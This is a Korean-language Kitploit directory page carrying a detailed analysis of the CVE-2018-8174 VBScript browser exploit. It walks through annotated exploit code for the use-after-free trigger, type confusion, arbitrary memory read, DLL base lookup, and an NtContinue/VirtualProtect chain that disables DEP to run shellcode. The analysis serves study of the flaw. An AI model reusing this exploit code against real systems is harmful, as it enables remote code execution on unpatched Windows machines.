Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2018-8174_analysis — CVE-2018-8174 VBS 익스플로잇 분석 | Kitploit
도구/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringLearning & EducationBinary Exploitation
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

CVE-2018-8174 VBS 익스플로잇 분석

저장소 보기
30148년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

최신 브라우저 익스플로잇 분석: CVE-2018-8174 사례 연구

개요

이 익스플로잇이 4월과 5월이 바뀌는 시점에 처음 등장했을 때, 강한 난독화에도 불구하고 코드 구조가 잘 정리되어 있고 취약점 악용 코드가 충분히 작아 분석이 더 단순해 보여서 관심이 갔다. github에서 POC를 다운로드하여 내부를 살펴보기에 좋은 후보라고 판단했다. 당시에는 이미 두 개의 분석이 공개되어 있었다. 하나는 360의 것이고, 다른 하나는 Kaspersky의 것이었다. 두 분석 모두 작동 방식을 이해하는 데 도움이 되었지만, 익스플로잇의 모든 측면을 깊이 이해하기에는 충분하지 않았다. 그래서 직접 분석하여 결과를 공유하기로 결정했다.

전처리

먼저 정수 난독화를 제거하기 위해 파이썬 스크립트에서 정규식 치환을 사용했다:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

난독화된 이름에 대해서는 분석하는 동안 점진적으로 이름을 변경했다. 이 분석은 끝에 링크가 있는 소스 코드와 함께 읽는 것이 가장 좋다.

사용 후 해제

취약점은 객체가 종료되고 사용자 정의 함수 Class_Terminate()가 호출될 때 발생한다. 이 함수에서는 해제되는 객체에 대한 참조가 UafArray에 저장된다. 이제부터 UafArray(i)는 삭제된 객체를 가리킨다.

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

또한 Class_Terminate()의 마지막 줄에 주목하라. ClassTerminate 객체를 UafArray에 복사하면 참조 카운터가 증가한다. 이를 균형 맞추기 위해 FreedObjectArray에 다른 값을 할당하여 다시 해제한다. 이렇게 하지 않으면 객체에 Class_Terminate를 호출해도 객체의 메모리가 해제되지 않고, 다음 객체가 그 자리에 할당되지 않을 것이다.

VBScriptClass::Release 메서드

새 객체를 생성하고 삭제하는 과정이 루프에서 7번 반복된 후, ReuseClass 클래스의 새 객체가 생성된다. 이 객체는 이전에 7개의 ClassTerminate 인스턴스가 차지했던 것과 동일한 메모리에 할당된다. 이를 더 잘 이해하기 위해, 다음은 모든 할당을 추적하는 간단한 WinDbg 스크립트이다:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

다음은 UafTrigger 함수의 할당 로그이다:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

ReuseClass가 실제로 이전 7개의 ClassTerminate 인스턴스에 할당되었던 것과 동일한 메모리에 할당된다는 것을 바로 알 수 있다. 이 과정이 두 번 반복된다. 결과적으로 UafArrays에 의해 참조되는 두 개의 객체가 생긴다. 이 참조 중 어느 것도 객체의 참조 카운터에 반영되지 않는다. 이 로그에서는 Class_Terminate가 호출된 후에도 참조 카운터를 변경하는 객체 조작이 있음을 확인할 수 있다. 그렇기 때문에 Class_Terminate에서 이 카운터를 균형 맞추지 않으면 다음과 같은 결과가 발생한다:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

할당 주소가 다르다. 익스플로잇은 사용 후 해제 조건을 만들지 못할 것이다.

타입 혼동

각각에 대해 7개의 계산되지 않은 참조를 가진 두 객체를 생성함으로써 임의 메모리 읽기 원시형을 확립했다. ReuseClass와 FakeReuseClass라는 두 개의 유사한 클래스가 있다. 첫 번째 클래스를 두 번째 클래스로 교체하면 mem 멤버에 대한 타입 혼동이 발생한다.

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

SetProp 함수에서 ReuseClass.mem이 저장되고 ReplacingClass_* 클래스의 Default Property Get이 호출되며, 해당 호출의 결과는 ReuseClass.mem에 저장된다.

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

그 getter 내부에서 UafArray의 각 요소에 0을 할당하여 비운다. 이로 인해 UafArray가 참조하는 ReuseClass 객체에 대해 VBScriptClass::Release가 호출된다. 실행의 이 단계에서 ReuseClass 객체는 참조 카운터가 7과 같으며, Release를 7번 호출하므로 이 객체는 해제된다. 그리고 이러한 참조는 사용 후 해제 상황에서 비롯되었기 때문에 참조 카운터에 반영되지 않는다. ReuseClass 자리에는 FakeReuseClass의 새 객체가 할당된다. 이제 ReuseClass의 경우와 마찬가지로 참조 카운터를 7로 만들기 위해 UafArray에 7번 할당한다. 다음은 이 작업 전후의 메모리 레이아웃이다.

ReuseClass를 FakeReuseClass로 교체

VBScript 객체 다이어그램

이 작업이 완료된 후 getter 함수는 이전 ReuseClass::mem 변수에 할당될 값을 반환한다. 메모리 덤프에서 볼 수 있듯이 이전 값은 새 값보다 0xC 바이트 앞에 배치되어 있었다. 객체는 예를 들어 함수 이름의 적절한 길이를 선택하여 이러한 상황을 유발하도록 특수하게 제작되었다. 이제 ReuseClass::mem에 기록된 값이 FakeReuseClass::mem 헤더를 덮어써서 타입 혼동 상황을 일으킨다.

mem 멤버에 대한 타입 혼동

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

마지막 줄은 문자열 FakeArrayString을 objectImitatingArray.mem에 할당했다. 이제 헤더는 VT_BSTR 값을 가진다.

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

이 값은 objectImitatingArray.mem의 타입을 VT_ARRAY | VT_VARIANT로 덮어썼고, 이제 문자열에 대한 포인터는 SAFEARRAY 구조체에 대한 포인터로 해석된다.

임의 메모리 읽기

결과적으로 두 개의 FakeReuseClass 객체가 생긴다. 하나는 전체 사용자 공간(0x00000000 - 0x7fffffff)을 주소 지정하는 mem 멤버 배열을 가지고 있고, 다른 하나는 빈 16바이트 문자열에 대한 포인터가 있는 VT_I4(4바이트 정수) 타입의 멤버를 가진다. 두 번째 객체를 사용하여 문자열에 대한 포인터가 누출된다:

root@kitploit:~
some_memory=resueObjectB_int.mem

이 값은 나중에 쓰기 가능한 메모리의 주소로 사용된다. 다음 단계는 vbscript.dll 내부의 임의 주소를 누출하는 것이다. 여기서 매우 깔끔한 트릭이 사용된다.

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

먼저 오류가 발생하면 스크립트가 정상 실행을 계속하도록 정의한다. 그런 다음 EmptySub를 변수에 할당하려고 시도한다. VBS에서는 불가능하지만 오류가 생성되기 전에 여전히 스택에 값이 푸시된다. 다음 명령은 변수에 null을 할당해야 하며, 스택의 마지막 값 타입을 VT_NULL로만 변경하여 이를 수행한다. 이제 emptySub_addr_placeholder는 타입이 VT_NULL로 설정된 함수 포인터를 보유한다.

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

그런 다음 이 값은 쓰기 가능한 메모리에 기록되고, 타입은 VT_I4로 변경된 후 정수로 다시 읽힌다. 이 값의 내용을 확인하면 CScriptEntryPoint에 대한 포인터이고, 첫 번째 멤버는 vbscript.dll 내부를 가리키는 vftable임을 알 수 있다.

vbscript.dll 주소 누출

임의 주소에서 값을 읽으려면, 이 경우 LeakVBAddr에서 반환된 포인터를 읽으려면 다음 함수들이 사용된다:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

읽기는 먼저 address+4를 쓰기 가능한 메모리에 기록한 다음 타입을 VT_BSTR로 변경하여 수행된다. 이제 address+4는 BSTR에 대한 포인터로 처리된다. address+4에 LenB를 호출하면 address가 가리키는 값이 반환된다. 왜일까? BSTR이 정의된 방식 때문에 유니코드 값 앞에 길이가 오고, LenB는 그 길이를 반환하기 때문이다.

LenB 구현

이제 vbscript.dll 내부의 주소가 누출되었고 _임의 메모리 읽기_가 확립되었으므로, 필요한 모든 주소를 얻기 위해 PE 헤더를 올바르게 탐색하는 문제가 남는다.

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

이를 수행하는 세부 사항은 여기서 설명하지 않는다. 이 문서는 PE 파일을 매우 자세하게 설명한다.

코드 실행 트리거

최종 코드 실행은 두 단계로 이루어진다. 먼저 두 개의 호출 체인이 구성되지만, 이것은 ROP 체인이 아니다. NtContinue에는 EIP를 VirtualProtect 주소로 설정하고 ESP를 VirtualProtect의 매개변수를 포함하는 구조체로 설정하는 CONTEXT 구조체가 제공된다.

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

셸코드의 첫 번째 주소는 앞서 설명한 변수 타입을 VT_I4로 변경하고 포인터를 읽는 기술을 사용하여 얻는다. 다음으로 셸코드 주소, 크기, RWX 보호와 같은 필요한 모든 매개변수를 포함하는 VirtualProtect용 구조체가 생성된다. 또한 VirtualProtect 내부의 스택 작업에 사용될 공간도 있다. 그 후 EIP를 VirtualProtect로, ESP를 해당 매개변수로 설정한 CONTEXT 구조체가 생성된다. 이 구조체는 첫 번째 값으로 NtContinue 주소에 대한 포인터가 4번 반복되어 있다. 이 체인을 시작하기 전 마지막 단계는 구조체를 메모리의 문자열로 저장하는 것이다.

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

그런 다음 이 함수는 체인을 시작하는 데 사용된다. 먼저 저장된 구조체의 타입을 0x4D로 변경한 다음 해당 값을 0으로 설정하여 VAR::Clear가 호출되도록 한다.

코드 실행

그리고 디버거에서 본 동적 화면

코드 실행

복잡해 보일 수 있지만 이 실행 체인은 매우 간단하다. 단 두 단계뿐이다. VirtualProtect를 가리키는 CONTEXT 구조체로 NtContinue를 호출한다. 그러면 VirtualProtect가 셸코드를 포함하는 메모리 페이지에서 DEP를 비활성화한 다음 셸코드로 반환된다.

결론

CVE-2018-8174은 몇 가지 사용 후 해제 및 타입 혼동 조건을 연결하여 매우 영리한 방식으로 코드 실행을 달성한 좋은 사례이다. 이러한 익스플로잇의 내부 작동 방식을 배우고 이해하기에 훌륭한 예이다.

유용한 링크

주석이 달린 익스플로잇 코드

Kaspersky의 근본 원인 분석

360의 분석

또 다른 Kaspersky의 분석

Trend Micro의 CVE-2014-6332 분석

도구 다운로드